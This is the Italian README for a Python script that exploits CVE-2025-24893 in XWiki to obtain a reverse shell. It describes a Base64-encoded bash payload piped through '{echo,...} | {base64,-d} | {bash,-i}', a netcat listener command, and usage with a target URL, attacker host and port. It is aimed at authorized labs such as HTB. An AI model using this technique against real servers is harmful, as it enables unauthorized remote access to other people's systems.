CVE-2025-24893 Reverse Shell Exploit per XWiki

Disclaimer: Questo script è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati. Non utilizzarlo su sistemi di cui non possiedi o di cui non hai esplicito permesso di testare. L'uso improprio può essere illegale e pericoloso.

Descrizione

Questo script Python sfrutta CVE-2025-24893, una vulnerabilità di Remote Code Execution che colpisce le versioni di XWiki fino alla 15.10.10.

• Versione testata: XWiki 15.10.8
• Impatto: Consente l'esecuzione di comandi arbitrari sul server di destinazione.
• Versione Python: Scritto e testato in Python 3

Questa versione estende il PoC originale di Al Baradi Joy per generare una reverse shell. Il PoC originale può essere trovato qui.

Come funziona

• XWiki esegue codice Groovy tramite il parametro URL.

• L'exploit inietta un comando bash -c in questo template Groovy.

• Una reverse shell normale contiene più apici (' e ") che potrebbero rompere la valutazione di Groovy e l'URL.

• Per risolvere questo, lo script codifica il comando shell in una singola riga in Base64.

• Il payload viene quindi inviato nell'URL ed eseguito utilizzando la seguente catena:

  {echo,<base64>} | {base64,-d} | {bash,-i}

• Questo decodifica il payload Base64 in modo sicuro e lo esegue con bash -i, fornendo una reverse shell interattiva.

Formato URL di destinazione

• Formato: http://<target-host>
• NON includere:
  • Una barra finale / alla fine
  • Il percorso /xwiki (lo script lo aggiunge automaticamente)

Esempi:

# Correct
http://10.129.95.114:8080
http://example.com:8080

# Incorrect
http://10.129.95.114:8080/         # trailing slash
http://example.com/xwiki            # includes /xwiki

Impostazione del listener

Prima di eseguire l'exploit, devi avviare un listener sulla tua macchina per catturare la reverse shell.

Esempio con Netcat:

nc -lvnp <lport>

• <lport> deve corrispondere alla porta che fornisci come argomento allo script.

Utilizzo

python3 cve-2025-24893.py <target_base_url> <lhost> <lport>

Esempio:

python3 cve-2025-24893.py http://10.129.95.114:8080 10.0.0.5 4444

• Lo script stampa l'URL completo dell'exploit, il payload Base64 e le istruzioni per controllare il tuo listener.

Riferimenti

• GHSA Advisory
• XWiki Homepage
• PoC originale di Al Baradi Joy

Crediti

• Proof-of-Concept originale: Al Baradi Joy
• Questa versione: Aggiornata per generare una reverse shell per l'esecuzione interattiva di comandi

Avvertenza

• Utilizza questo exploit solo in ambienti controllati (HTB, macchine di laboratorio, VM di tua proprietà).
• L'uso non autorizzato su server pubblici è illegale e può comportare accuse penali.